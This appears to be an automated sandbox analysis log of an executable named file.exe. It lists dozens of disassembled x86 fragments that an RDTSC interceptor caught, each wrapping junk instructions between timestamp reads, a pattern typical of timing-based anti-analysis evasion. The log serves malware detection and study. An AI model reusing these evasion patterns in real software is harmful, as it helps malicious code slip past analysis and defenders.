Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142B984 second address: 142B98C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142B98C second address: 142B994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142E8CA second address: 142E8D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142E8D0 second address: 142E8D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142E8D4 second address: 142E8F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142E8F0 second address: 142E8F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142E8F6 second address: 142E91C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F6AC4F647EEh 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142EB79 second address: 142EB8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F69480h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142ED12 second address: 142ED16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142ED16 second address: 142ED23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1433C3B second address: 1433C72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F6AC4F647F8h 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 jmp 00007F6AC4F647F0h 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14331E1 second address: 1433205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F6AC4F69487h 0x0000000b popad 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1433618 second address: 1433643 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6AC4F64806h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14364B6 second address: 14364DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F6AC4F69489h 0x0000000a jnc 00007F6AC4F69476h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14364DC second address: 14364E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143675D second address: 1436761 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B550 second address: 143B555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B555 second address: 143B570 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6AC4F69487h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B570 second address: 143B576 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B576 second address: 143B599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F6AC4F69488h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B88C second address: 143B8AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647EFh 0x00000007 jnl 00007F6AC4F647E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D9305 second address: 13D9361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 jmp 00007F6AC4F6947Fh 0x0000000e pop eax 0x0000000f pop ecx 0x00000010 nop 0x00000011 mov edx, dword ptr [ebp+122D29E4h] 0x00000017 mov ebx, dword ptr [ebp+1247C46Fh] 0x0000001d jbe 00007F6AC4F69476h 0x00000023 add di, E089h 0x00000028 add eax, ebx 0x0000002a jbe 00007F6AC4F6947Eh 0x00000030 jp 00007F6AC4F69478h 0x00000036 nop 0x00000037 jbe 00007F6AC4F6947Eh 0x0000003d jo 00007F6AC4F69478h 0x00000043 pushad 0x00000044 popad 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 jl 00007F6AC4F69478h 0x0000004e pushad 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D9361 second address: 13D93C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6AC4F647F9h 0x00000008 jmp 00007F6AC4F647F6h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 mov ecx, ebx 0x00000013 push 00000004h 0x00000015 jmp 00007F6AC4F647EEh 0x0000001a nop 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F6AC4F647F8h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D93C6 second address: 13D93D0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6AC4F69476h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D94A9 second address: 13D94FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 jp 00007F6AC4F647EBh 0x0000000e push 0000001Eh 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007F6AC4F647E8h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 0000001Ah 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a sub ecx, 20D3FC32h 0x00000030 push eax 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F6AC4F647F1h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143BBE1 second address: 143BBF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F6AC4F69476h 0x0000000c jng 00007F6AC4F69476h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143BBF4 second address: 143BC12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F6AC4F647E6h 0x00000009 jmp 00007F6AC4F647F0h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143BC12 second address: 143BC16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143BC16 second address: 143BC3C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop eax 0x00000011 jmp 00007F6AC4F647F2h 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144321A second address: 1443236 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6AC4F69486h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1443236 second address: 1443252 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647F5h 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1443511 second address: 144353D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F69487h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F6AC4F6947Ch 0x0000000f jne 00007F6AC4F69476h 0x00000015 popad 0x00000016 pushad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144353D second address: 1443555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F6AC4F647E6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jno 00007F6AC4F647E6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1443555 second address: 144355B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1444085 second address: 14440BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jno 00007F6AC4F647E6h 0x0000000c js 00007F6AC4F647E6h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 jmp 00007F6AC4F647EEh 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F6AC4F647F4h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1444392 second address: 144439C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F6AC4F69476h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1444635 second address: 144463B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144463B second address: 144463F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144463F second address: 1444645 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1444645 second address: 1444660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007F6AC4F69476h 0x0000000d jne 00007F6AC4F69476h 0x00000013 js 00007F6AC4F69476h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144497E second address: 144499B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6AC4F647F9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1449E63 second address: 1449E76 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6AC4F69476h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jno 00007F6AC4F69476h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1449E76 second address: 1449E92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 ja 00007F6AC4F647E6h 0x0000000c popad 0x0000000d popad 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6AC4F647EBh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1449E92 second address: 1449EAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F69489h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1448F8B second address: 1448F94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1448F94 second address: 1448F9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14490F5 second address: 1449101 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6AC4F647EEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1449261 second address: 144927B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6AC4F69484h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144927B second address: 1449287 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jbe 00007F6AC4F647E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1449287 second address: 1449299 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6AC4F69476h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F6AC4F69476h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14493DF second address: 144941C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6AC4F647EAh 0x00000008 push esi 0x00000009 jmp 00007F6AC4F647F6h 0x0000000e pop esi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jo 00007F6AC4F647F9h 0x00000019 jmp 00007F6AC4F647EDh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144941C second address: 1449420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1449740 second address: 144974A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6AC4F647E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144974A second address: 1449777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jnl 00007F6AC4F6949Ch 0x0000000d jmp 00007F6AC4F6947Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 jnc 00007F6AC4F69476h 0x0000001a jmp 00007F6AC4F6947Ch 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14498C3 second address: 14498E0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6AC4F647ECh 0x00000008 pushad 0x00000009 jbe 00007F6AC4F647E6h 0x0000000f jc 00007F6AC4F647E6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14498E0 second address: 14498F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6AC4F6947Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E902 second address: 144E906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E906 second address: 144E912 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jnl 00007F6AC4F69476h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E912 second address: 144E917 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E917 second address: 144E92F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6AC4F69480h 0x00000009 pop edi 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1455646 second address: 1455651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F6AC4F647E6h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1455C29 second address: 1455C2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1455C2F second address: 1455C33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1455C33 second address: 1455C39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1455C39 second address: 1455C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1455C3F second address: 1455C4A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 je 00007F6AC4F69476h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1455C4A second address: 1455C64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jng 00007F6AC4F647F6h 0x00000011 pushad 0x00000012 je 00007F6AC4F647E6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1455DB0 second address: 1455DF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007F6AC4F69481h 0x0000000b pop edx 0x0000000c jg 00007F6AC4F6947Eh 0x00000012 push eax 0x00000013 jne 00007F6AC4F69476h 0x00000019 pop eax 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push edi 0x0000001e jmp 00007F6AC4F6947Ch 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 pop edi 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1455DF1 second address: 1455E08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6AC4F647F3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1455E08 second address: 1455E0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1455E0C second address: 1455E24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6AC4F647EEh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1455FC8 second address: 1455FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14562F6 second address: 14562FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1455097 second address: 145509B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145509B second address: 145509F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145F187 second address: 145F18B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145F2CC second address: 145F2D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145F2D2 second address: 145F2D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145F2D6 second address: 145F2E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jno 00007F6AC4F647E6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146CA85 second address: 146CAAC instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6AC4F69476h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jmp 00007F6AC4F69485h 0x00000010 jnc 00007F6AC4F69476h 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146CAAC second address: 146CAC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6AC4F647F5h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139ADCD second address: 139ADDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jns 00007F6AC4F69476h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1471886 second address: 1471898 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1471898 second address: 14718A2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6AC4F69476h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1390F3F second address: 1390F4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147EBA9 second address: 147EBBB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6AC4F6947Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147EBBB second address: 147EBC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147EBC1 second address: 147EBD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147EBD4 second address: 147EBD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1481752 second address: 1481756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1481756 second address: 1481762 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6AC4F647E6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138D895 second address: 138D8A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
